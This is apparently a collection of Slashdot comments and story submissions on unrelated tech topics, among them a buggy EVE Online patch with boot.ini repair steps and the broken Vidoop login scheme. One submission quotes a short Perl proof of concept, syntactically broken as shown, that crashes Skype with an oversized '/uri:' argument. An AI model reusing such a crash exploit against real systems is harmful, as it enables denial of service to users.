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Comment Re:Oh no! (Score 1) 150

My best mate is a fan of his work. I like it too, but I have a problem in that since a particularly ... finger lickin' good scene in Consider Phlebas, my squick factor precludes me from reading any more of his work. Without any details, that particular scene pressed a particular dark, furry, oily and squirming button in my psyche, and I cannot get rid of the image in my mind, even years later.


Still, I heartily concur, on behalf of my friends, and myself before that button was squished. It is very sad news.

Comment Re:Examples? (Score 1) 52

You've been given a list of words to study and memorize. Being a diligent student of language and the arts, you've decided to not study them at all and instead make up pointless games based on them. One game you've come up with is to see how you can concatenate the words to generate the lexicographically lowest possible string.

As input for playing this game you will receive a text file containing an integer N, the number of word sets you need to play your game against. This will be followed by N word sets, each starting with an integer M, the number of words in the set, followed by M words. All tokens in the input will be separated by some whitespace and, aside from N and M, will consist entirely of lowercase letters.

Your submission should contain the lexicographically shortest strings for each corresponding word set, one per line and in order.

1 = N = 100
1 = M = 9
1 = all word lengths = 10

Example Input
6 facebook hacker cup for studious students
5 k duz q rc lvraw
5 mybea zdr yubx xe dyroiy
5 jibw ji jp bw jibw
5 uiuy hopji li j dcyi

Example Output
cupfacebookfor hackerstudentsstudious
dyroiymy beaxeyubxzdr

(Please remove spaces from example outputs. slashdot filters ftl)

PC Games (Games)

Submission + - Eve patch adds graphics, removes boot.ini!

An anonymous reader writes: issue with the upgrade from classic to premium for xp and older windows os users reported by CCP kieron | 2007.12.06 06:18:58 | NEW An issue has been discovered whereby Windows XP and older Windows OS users who have upgraded their EVE clients from Classic Graphics Content to Premium Graphics Content have their boot.ini file deleted. For users facing this issue, we recommend users DO NOT reboot their computers until this issue has been resolved, otherwise a potential reinstall of the operating system may be needed. We have taken down the ability to download the Classic to Premium upgrade patch until we have determined where the issue lies and how we can resolve this. Full install clients have not exhibited this issue and are safe to download. Please note: This issue affects Windows XP and older users who have upgraded their EVE clients with the Classic to Premium version. It does not affect Vista, Mac or Linux users. Users facing this issue are encouraged to visit this Microsoft Knowledge Base Item for a manual fix or try one of the below solutions: Manual restoration of the boot.ini file For users who have not rebooted their computers after installing the Classic to Premium patch: 1. Open notepad. 2. Copy the following text and paste it into notepad: [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect Note: If your operating system is XP Home Edition, please replace the word "Professional" with "Home Edition" on the last line above. 3. Select "save as" from the File menu, ensuring and make sure you select "All Files" from the Save as type drop down menu and save the file as: c:\boot.ini 4. Click the Start button, then select Run 5. Type "cmd" in the Run window 6. Type "cd c:\" at the prompt and enter, then type "attrib +s +h +a boot.ini" when at the c:\ prompt 7. To verify, go back to steps 4 and 5, exchanging "msconfig" for "cmd" in step 5. You should see a tab for boot.ini in the System Configuration Utility. For users who have rebooted their computers after installing the Classic to Premium patch: 1. Boot from your OS cd and follow the directions to start Recovery Console. You must be logged in as the machine's local administrator. 2. Choose the corresponding number asked of you for your OS is on, normally its #1 Then type: * Attrib -H -R -S C:\Boot.ini * DEL C:\Boot.ini * BootCfg /Rebuild * Fixboot Further discussion and updates can be found in this forum thread.
Hardware Hacking

Submission + - 2 approaches to unlocking an iPhone (

An anonymous reader writes: Obviously I can't test this, being in the UK, but The Register has two separate links which claim to unlock Apple's iPhone. One seems to be a simple software app you can buy, the other seems to be a more hardcore approach via serial cable etc, for the geekier crowd.

Any US people brave (or crazy!) enough to try it on their shiny new gadgets?


Submission + - How to Opt-out of Account Emails

Carlos writes: "Dear Slashdot Readers, One year ago, my father asked me to change his channel lineup for his DISH satellite service. I setup an online account on DISH's website and changed his channels since he doesn't own a computer, nor will he ever (77 years-old.) I've been recieving email from DISH related to this online account for several months, although I checked "Do not email." Within the email, there is a link to click to opt-out. Of course when I try, I get an error on DISH's website claiming my email address is invalid. Umm, how did you know to email me if my email is invalid?

I have called DISH's customer support 5 times and asked that my father's online account be deleted. I was told each time by the service rep that they would take care of it. Yet, each month, the emails continue. It's one thing to get spam from scammers in Africa, but when you get spammed by a legitimate US company, it drives one crazy.

My question for your readers is this: When calling the customer service line of a US company, that has its reps overseas (VERY obvious in this case), what is the best technique for speaking to a REAL maanager, or someone with authority. i.e., Someone who works in the US at corporate level. Because dealing with overseas call center staff get you no where!

p.s. I myself work in eCommerce and when my customers ask to opt-out of our mailings, we comply."

Submission + - Skype network got DoSed.

Ruptor writes: "Yesterday Skype network went down under a distributed DoS attack. It remains down for more than 24 hours now. Skype authorities misleadingly but politically correctly claim that it is a "software issue" denying even a possibility of a hacking attack, but in fact it is due to a simple exploit that got published on Russian hacking and security sites and blogged on See for yourself.

# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!
for ($i=256; $i>xCCCCC; $i=$i+256)
$eot='AAAA' x $i;

sub call_sp()
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";

Submission + - Microsoft Excel Nearly Elects Wrong Government

ntk writes: "Britain's Open Rights Group sent technically knowledgeable members to act as electoral observers in the UK's first e-voting trials, with disturbing results. Their report mentions, among other foul-ups, that officials forgetting to scroll in Excel almost led to the wrong party winning control of the Scottish parliament. More in their full report here."

Submission + - Why Did Laptop Screens Become Mirrors?

Strudelkugel writes: I decided to get a new laptop. I haven't looked new models for some time, but a friend was showing me his new one with many desirable features: Faster CPU, more RAM, faster disk, less weight. Just one problem: the LCD is the new "glossy" variety, which reflected the ceiling lights, the desk lamp, the wallpaper, etc. — essentially everything you would expect to see in a mirror. Obviously this degraded the display of the PC desktop. I thought it was a very annoying "feature", but I could always find a model with a decent anti-glare screen. Imagine my surprise when I went to the store and found every new model on display had glossy mirror screen! The people in the store said the new screens are supposed to offer a better image, but all agreed the reflectivity was something they didn't like. Where is the marketing PHB who foisted this idea upon the unsuspecting public? Is the glossy screen a wayward attempt to make laptops look more like shiny new toasters — something more oriented oriented to the general consumer?

Submission + - Hard Disk Resurrection

Njoyda Sauce writes: "Recently a friend handed me what he described as a "dead disk" and pleaded with me to help him recover the data on it. I did some googling, and was astounded at the number of tools available. Worse yet, there are few good reviews or first hand accounts for any of the software out there actually saving data. It seems to me that the even when a particular piece of software works well for one user, it often does not for another. Things like disk manufacturer, format type, interface, age, and problem symptoms, all seem to affect which solution works best. In situations where you have some unknowns such as format type are there some good generic solutions out there for Windows? Are there a number of tools that you use to perform the whole task such as one for diagnosis and one for repair?"

Submission + - New Bank Authentication Scheme Debuts, Gets Hacked

An anonymous reader writes: Harvard and CommerceNet researchers report breaking Vidoop, a new two-factor graphical authentication scheme for banks. The scheme requires users to remember "image categories" to login and is supposedly invulnerable to phishing attacks, keyloggers and "all prevalent forms of hacking" (according to theri website and their TV commercial on YouTube). The researchers describe how they broke the scheme in a few hours with a man-in-the-middle attack, and they posted a video of the attack. This is related to the attack on Bank of America's SiteKey by the boarding pass hacker and to the Harvard study on SiteKey that shows how easily users get phished.

Journal Journal: French high-speed train sets world record 357.2 mph

Today a French high-speed train known as TGV set a world speed record for conventional trains of 357.2 miles per hour. That is quite impressive. In my view, trains at this kind of speed would be competitive with commuter aircraft for the types of routes that both transportation systems serve. It seems that high speed train systems would work economically in par
XBox (Games)

Submission + - End of Red VS Blue

UberHoser writes: "Now I am not sure if this is an April Fool's joke or not, but it seems that the series Red vs Blue is coming to an end.

Taked directly from the post that Bernie made:

"That's why we wanted to let you all know first that Episode 100 is going to be the last installment of The Blood Gulch Chronicles. One hundred is a great number, and it seems like the perfect place to call it a show."

You can read the whole post here: =2205248"

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We warn the reader in advance that the proof presented here depends on a clever but highly unmotivated trick. -- Howard Anton, "Elementary Linear Algebra"